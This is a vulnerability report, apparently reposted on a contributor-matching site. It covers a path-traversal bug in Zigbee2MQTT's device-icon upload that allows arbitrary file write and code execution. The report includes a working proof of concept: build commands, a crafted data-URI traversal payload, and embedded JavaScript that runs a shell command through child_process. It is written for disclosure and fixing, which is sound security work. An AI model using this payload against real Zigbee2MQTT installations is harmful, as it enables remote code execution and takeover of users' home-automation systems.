Path traversal in device/group icon upload allows arbitrary file write and code execution
Nobody has claimed this yet.
- Dominant language
- TypeScript
- Stars
- 15.7k
- Forks
- 2k
- Avg merge
- 18h 55m
- Merged PRs (30d)
- 35
Description
What happened?
reported on 15 June 2026 via https://github.com/Koenkk/zigbee2mqtt/security/advisories/GHSA-9hp4-6pvc-chfr
Summary
The bridge/request/device/options (and bridge/request/group/options) handler accepts a base64 data URI in options.icon and writes it to disk as a device icon. The file extension is taken from the data URI media type using the regex data:image/(?<extension>.+);base64,(?<data>.+), where (?<extension>.+) matches / and .. sequences. The captured "extension" is concatenated directly into the destination path, so a crafted media type escapes the data/device_icons/ directory and writes attacker-controlled bytes to an arbitrary filesystem location. By targeting data/external_extensions/<name>.js (a directory Zigbee2MQTT auto-imports as code) this becomes remote code execution.
Details
Request routing (lib/extension/bridge.ts):
bridge/request/device/options -> deviceOptions -> changeEntityOptions("device", message).
In changeEntityOptions (lib/extension/bridge.ts:437):
if (message.options.icon) {
const base64Match = utils.matchBase64File(message.options.icon);
if (base64Match) {
const fileSettings = utils.saveBase64DeviceIcon(base64Match);
message.options.icon = fileSettings;
logger.debug(`Saved base64 image as file to '${fileSettings}'`);
}
}
message.options.icon is fully attacker controlled. The two helpers (lib/util/utils.ts):
const BASE64_IMAGE_REGEX = /data:image\/(?<extension>.+);base64,(?<data>.+)/;
function matchBase64File(value) {
const match = value.match(BASE64_IMAGE_REGEX);
if (match) {
return {extension: match.groups.extension, data: match.groups.data};
}
return false;
}
function saveBase64DeviceIcon(base64Match) {
const md5Hash = crypto.createHash("md5").update(base64Match.data).digest("hex");
const fileSettings = `device_icons/${md5Hash}.${base64Match.extension}`; // <-- extension is untrusted
const file = path.join(data.getPath(), fileSettings); // <-- traversal collapses here
fs.mkdirSync(path.dirname(file), {recursive: true});
fs.writeFileSync(file, base64Match.data, {encoding: "base64"});
return fileSettings;
}
(?<extension>.+) is greedy and matches any character except newline, including / and .. Supplying a media type such as image/png/../../external_extensions/pwn.js yields:
fileSettings = "device_icons/<md5>.png/../../external_extensions/pwn.js"
path.join(dataPath, fileSettings) = "<dataPath>/external_extensions/pwn.js"
fs.mkdirSync(..., {recursive: true}) creates any intermediate directories, and fs.writeFileSync writes the decoded base64 payload there. Because the extension can contain an arbitrary number of ../ segments, the write target can be placed anywhere the Zigbee2MQTT process can write, fully outside the data directory.
The icon is saved before any options validation runs, so the write happens regardless of whether the rest of the option payload is valid. The only precondition is a valid device or group ID, which every client can enumerate from bridge/devices / bridge/groups (the Coordinator device always exists).
Impact escalation: lib/extension/externalJS.ts (the base class for external_extensions and external_converters) calls loadFiles() on start, which import()s every .js/.cjs/.mjs file found in data/external_extensions/. Writing a JavaScript file there via the traversal therefore results in code execution in the Zigbee2MQTT process on the next start (or extension reload). The same primitive can overwrite configuration.yaml, secret.yaml, the Zigbee database, or any other file the process owner can write.
What did you expect to happen?
No response
How to reproduce it (minimal and precise)
PoC
Prerequisites:
- Zigbee2MQTT v2.12.0.
- Ability to publish a
bridge/request/device/optionsrequest. This is the normal device-options capability exposed by the web frontend (Settings -> change a device icon) and by the MQTT control topic. A valid device ID is required; the Coordinator device is always present and is listed inbridge/devices.
The destination path computation and the file write are performed by the two production functions bundled directly from lib/util/utils.ts and lib/util/data.ts. The following harness calls those exact functions with the attacker-controlled options.icon value.
Steps:
- Build the harness from the unmodified repository source:
git clone --depth=1 https://github.com/Koenkk/zigbee2mqtt.git z2m && cd z2m
mkdir -p /tmp/z2m_poc && cd /tmp/z2m_poc
npm init -y && npm install fast-deep-equal@3 humanize-duration@3
npx esbuild ../z2m/lib/util/utils.ts --bundle --platform=node --format=cjs \
--outfile=utils.cjs --external:zigbee-herdsman-converters
- Point the data directory at a sandbox and run the save function with a traversal payload that targets the auto-loaded
external_extensionsdirectory:
export ZIGBEE2MQTT_DATA=/tmp/z2m_poc/sandbox/data
rm -rf sandbox && mkdir -p sandbox/data/device_icons
node -e '
const utils = require("./utils.cjs").default;
const evilCode = "module.exports = class { constructor(){ require(\"child_process\").exec(\"id > /tmp/z2m_poc/sandbox/RCE_PROOF\"); } };\n";
// The value an attacker sets as options.icon in bridge/request/device/options:
const payload = "data:image/png/../../external_extensions/pwn.js;base64," + Buffer.from(evilCode).toString("base64");
const m = utils.matchBase64File(payload);
const settings = utils.saveBase64DeviceIcon(m);
console.log("returned fileSettings =>", settings);
'
find /tmp/z2m_poc/sandbox/data -type f
Observed output:
returned fileSettings => device_icons/5c9738eddcc29bd906ab8375905194b6.png/../../external_extensions/pwn.js
/tmp/z2m_poc/sandbox/data/external_extensions/pwn.js
The malicious .js was written into data/external_extensions/, the directory ExternalJSExtension.loadFiles() imports as code at startup.
- Arbitrary write fully outside the data directory (overwrite proof):
export ZIGBEE2MQTT_DATA=/tmp/z2m_poc/sandbox/data
rm -rf sandbox && mkdir -p sandbox/data
echo "ORIGINAL CONTENT - should be overwritten" > sandbox/victim_outside_data.txt
node -e '
const utils = require("./utils.cjs").default;
const payload = "data:image/png/../../../victim_outside_data.txt;base64," + Buffer.from("PWNED by Z2M device_icons path traversal\n").toString("base64");
const m = utils.matchBase64File(payload);
console.log("matchBase64File =>", JSON.stringify(m));
console.log("returned fileSettings =>", utils.saveBase64DeviceIcon(m));
'
echo "--- data dir contents ---"; find sandbox/data
echo "--- victim file OUTSIDE data dir now contains ---"; cat sandbox/victim_outside_data.txt
Observed output:
matchBase64File => {"extension":"png/../../../victim_outside_data.txt","data":"UFdORUQgYnkgWjJNIGRldmljZV9pY29ucyBwYXRoIHRyYXZlcnNhbAo="}
returned fileSettings => device_icons/479d649418184bda4e2557b8d993de09.png/../../../victim_outside_data.txt
--- data dir contents ---
sandbox/data
--- victim file OUTSIDE data dir now contains ---
PWNED by Z2M device_icons path traversal
The data directory stays empty; the write landed three levels above it, overwriting the pre-existing victim file with attacker content.
Impact
Any client able to issue a device or group options request (the standard "set device icon" capability in the frontend and over the MQTT control topic) can write arbitrary file contents to arbitrary paths writable by the Zigbee2MQTT process. Targeting data/external_extensions/*.js yields code execution in the Zigbee2MQTT process; overwriting configuration.yaml/secret.yaml/the coordinator database yields full takeover of the Zigbee network and persisted secrets. This is a privilege escalation from a benign icon-upload feature to arbitrary file write and code execution.
Zigbee2MQTT version
v2.12.0
Adapter firmware version
Adapter
Setup
Device database.db entry
No response
Debug log
No response
Notes
No response
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Read lib/extension/bridge.ts at changeEntityOptions and the matchBase64File and saveBase64DeviceIcon helpers in lib/util/utils.ts; the supplied harness exercises the vulnerable path. Done means traversal input can no longer write outside the intended icon location while valid device and group icon uploads continue to work.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- typescript
- Domain
- backend, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Mostly clear
- Newbie friendliness
- 45/100